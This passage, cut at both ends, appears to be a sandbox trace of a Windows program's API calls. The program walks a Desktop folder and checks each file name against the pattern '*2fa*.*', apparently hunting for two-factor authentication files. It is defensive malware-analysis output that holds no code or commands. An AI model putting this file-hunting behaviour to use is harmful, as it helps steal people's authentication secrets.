(in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf952ee40, ftCreationTime.dwHighDateTime=0x1d7a8f3, ftLastAccessTime.dwLowDateTime=0xa402fd10, ftLastAccessTime.dwHighDateTime=0x1d7adc9, ftLastWriteTime.dwLowDateTime=0xa402fd10, ftLastWriteTime.dwHighDateTime=0x1d7adc9, nFileSizeHigh=0x0, nFileSizeLow=0x5bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DQfg PRtMG 6zUvbPn.swf", cAlternateFileName="DQFGPR~1.SWF")) returned 1 [0099.619] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.619] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.619] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf" [0099.619] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.619] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.619] lstrcatW (in: lpString1="\\", lpString2="DQfg PRtMG 6zUvbPn.swf" | out: lpString1="\\DQfg PRtMG 6zUvbPn.swf") returned="\\DQfg PRtMG 6zUvbPn.swf" [0099.619] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 54 [0099.619] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x36) returned 0x33ab0e0 [0099.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", cchWideChar=54, lpMultiByteStr=0x33ab0e0, cbMultiByte=54, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\DQfg PRtMG 6zUvbPn.swf", lpUsedDefaultChar=0x0) returned 54 [0099.619] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b28 [0099.619] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab0e0 | out: hHeap=0x2110000) returned 1 [0099.619] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.619] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112fd0 [0099.619] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=8, lpWideCharStr=0x2112fd0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.619] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fd0 | out: hHeap=0x2110000) returned 1 [0099.619] PathMatchSpecW (pszFile="DQfg PRtMG 6zUvbPn.swf", pszSpec="*2fa*.*") returned 0 [0099.620] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0099.620] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDvMoYL", cAlternateFileName="")) returned 1 [0099.620] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.620] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.620] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.620] lstrcatW (in: lpString1="\\", lpString2="EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.620] lstrcmpW (lpString1="EDvMoYL", lpString2=".") returned 1 [0099.620] lstrcmpW (lpString1="EDvMoYL", lpString2="..") returned 1 [0099.620] lstrcpyW (in: lpString1=0x19c9ac, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*" [0099.620] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\*.*", lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1d58 [0099.620] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.620] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\." [0099.620] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\EDvMoYL" | out: lpString1="\\EDvMoYL") returned="\\EDvMoYL" [0099.620] lstrcatW (in: lpString1="\\EDvMoYL", lpString2="\\" | out: lpString1="\\EDvMoYL\\") returned="\\EDvMoYL\\" [0099.620] lstrcatW (in: lpString1="\\EDvMoYL\\", lpString2="." | out: lpString1="\\EDvMoYL\\.") returned="\\EDvMoYL\\." [0099.620] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.620] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb8c7b20, ftCreationTime.dwHighDateTime=0x1d7a9eb, ftLastAccessTime.dwLowDateTime=0xb69616c0, ftLastAccessTime.dwHighDateTime=0x1d7ab4d, ftLastWriteTime.dwLowDateTime=0xb69616c0, ftLastWriteTime.dwHighDateTime=0x1d7ab4d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.620] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.621] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\" [0099.621] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ab5220, ftCreationTime.dwHighDateTime=0x1d7abc3, ftLastAccessTime.dwLowDateTime=0xb95b0290, ftLastAccessTime.dwHighDateTime=0x1d7ad4f, ftLastWriteTime.dwLowDateTime=0xb95b0290, ftLastWriteTime.dwHighDateTime=0x1d7ad4f, nFileSizeHigh=0x0, nFileSizeLow=0x5f4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="mtbyKgsBp9ITL0q.wav", cAlternateFileName="MTBYKG~1.WAV")) returned 1 [0099.621] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 59 [0099.621] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3b) returned 0x2112780 [0099.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", cchWideChar=59, lpMultiByteStr=0x2112780, cbMultiByte=59, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\mtbyKgsBp9ITL0q.wav", lpUsedDefaultChar=0x0) returned 59 [0099.621] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21129c0 [0099.621] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112780 | out: hHeap=0x2110000) returned 1 [0099.621] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.621] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113060 [0099.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113060, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.621] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113060 | out: hHeap=0x2110000) returned 1 [0099.621] PathMatchSpecW (pszFile="mtbyKgsBp9ITL0q.wav", pszSpec="*2fa*.*") returned 0 [0099.621] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21129c0 | out: hHeap=0x2110000) returned 1 [0099.621] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabbfa910, ftCreationTime.dwHighDateTime=0x1d7a62e, ftLastAccessTime.dwLowDateTime=0x1f017030, ftLastAccessTime.dwHighDateTime=0x1d7a688, ftLastWriteTime.dwLowDateTime=0x1f017030, ftLastWriteTime.dwHighDateTime=0x1d7a688, nFileSizeHigh=0x0, nFileSizeLow=0x160b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="phZbMj_330X.png", cAlternateFileName="PHZBMJ~1.PNG")) returned 1 [0099.621] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 55 [0099.621] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x37) returned 0x33aa9a0 [0099.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", cchWideChar=55, lpMultiByteStr=0x33aa9a0, cbMultiByte=55, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\phZbMj_330X.png", lpUsedDefaultChar=0x0) returned 55 [0099.621] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112db0 [0099.621] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa9a0 | out: hHeap=0x2110000) returned 1 [0099.621] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.621] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112fb8 [0099.621] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2112fb8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.622] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fb8 | out: hHeap=0x2110000) returned 1 [0099.622] PathMatchSpecW (pszFile="phZbMj_330X.png", pszSpec="*2fa*.*") returned 0 [0099.622] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112db0 | out: hHeap=0x2110000) returned 1 [0099.622] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c9890, ftCreationTime.dwHighDateTime=0x1d7a6b1, ftLastAccessTime.dwLowDateTime=0x7246ec70, ftLastAccessTime.dwHighDateTime=0x1d7af89, ftLastWriteTime.dwLowDateTime=0x7246ec70, ftLastWriteTime.dwHighDateTime=0x1d7af89, nFileSizeHigh=0x0, nFileSizeLow=0x11eae, dwReserved0=0x0, dwReserved1=0x0, cFileName="UJ3K_uO6cMgmy7zg.flv", cAlternateFileName="UJ3K_U~1.FLV")) returned 1 [0099.622] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0099.622] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3c) returned 0x2112bb8 [0099.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", cchWideChar=60, lpMultiByteStr=0x2112bb8, cbMultiByte=60, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\UJ3K_uO6cMgmy7zg.flv", lpUsedDefaultChar=0x0) returned 60 [0099.622] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128a0 [0099.622] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112bb8 | out: hHeap=0x2110000) returned 1 [0099.622] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.622] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113000 [0099.622] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113000, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.622] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113000 | out: hHeap=0x2110000) returned 1 [0099.622] PathMatchSpecW (pszFile="UJ3K_uO6cMgmy7zg.flv", pszSpec="*2fa*.*") returned 0 [0099.622] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128a0 | out: hHeap=0x2110000) returned 1 [0099.622] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87332790, ftCreationTime.dwHighDateTime=0x1d7ab7c, ftLastAccessTime.dwLowDateTime=0xafecd760, ftLastAccessTime.dwHighDateTime=0x1d7b047, ftLastWriteTime.dwLowDateTime=0xafecd760, ftLastWriteTime.dwHighDateTime=0x1d7b047, nFileSizeHigh=0x0, nFileSizeLow=0x4f9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRBCI1zk.flv", cAlternateFileName="")) returned 1 [0099.622] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0099.622] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x34) returned 0x33aab20 [0099.622] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", cchWideChar=52, lpMultiByteStr=0x33aab20, cbMultiByte=52, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\VRBCI1zk.flv", lpUsedDefaultChar=0x0) returned 52 [0099.622] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112b28 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aab20 | out: hHeap=0x2110000) returned 1 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.623] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2113018 [0099.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2113018, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2113018 | out: hHeap=0x2110000) returned 1 [0099.623] PathMatchSpecW (pszFile="VRBCI1zk.flv", pszSpec="*2fa*.*") returned 0 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112b28 | out: hHeap=0x2110000) returned 1 [0099.623] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd2c4070, ftCreationTime.dwHighDateTime=0x1d7acdb, ftLastAccessTime.dwLowDateTime=0xd3dcdb60, ftLastAccessTime.dwHighDateTime=0x1d7aed6, ftLastWriteTime.dwLowDateTime=0xd3dcdb60, ftLastWriteTime.dwHighDateTime=0x1d7aed6, nFileSizeHigh=0x0, nFileSizeLow=0x8bbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WEdQh.m4a", cAlternateFileName="")) returned 1 [0099.623] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 49 [0099.623] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x31) returned 0x33aac20 [0099.623] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", cchWideChar=49, lpMultiByteStr=0x33aac20, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\WEdQh.m4a", lpUsedDefaultChar=0x0) returned 49 [0099.623] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x21128a0 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aac20 | out: hHeap=0x2110000) returned 1 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.623] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112fa0 [0099.623] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2112fa0, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112fa0 | out: hHeap=0x2110000) returned 1 [0099.623] PathMatchSpecW (pszFile="WEdQh.m4a", pszSpec="*2fa*.*") returned 0 [0099.623] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21128a0 | out: hHeap=0x2110000) returned 1 [0099.623] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2baade0, ftCreationTime.dwHighDateTime=0x1d7a2e8, ftLastAccessTime.dwLowDateTime=0x25e40390, ftLastAccessTime.dwHighDateTime=0x1d7af7a, ftLastWriteTime.dwLowDateTime=0x25e40390, ftLastWriteTime.dwHighDateTime=0x1d7af7a, nFileSizeHigh=0x0, nFileSizeLow=0x17588, dwReserved0=0x0, dwReserved1=0x0, cFileName="_xRb.wav", cAlternateFileName="")) returned 1 [0099.623] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL" [0099.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 48 [0099.624] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.624] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", cchWideChar=48, lpMultiByteStr=0x34300d0, cbMultiByte=48, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\EDvMoYL\\_xRb.wav", lpUsedDefaultChar=0x0) returned 48 [0099.624] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.624] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.624] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0099.624] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x10) returned 0x2112f88 [0099.624] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x2112f88, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0099.624] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112f88 | out: hHeap=0x2110000) returned 1 [0099.624] PathMatchSpecW (pszFile="_xRb.wav", 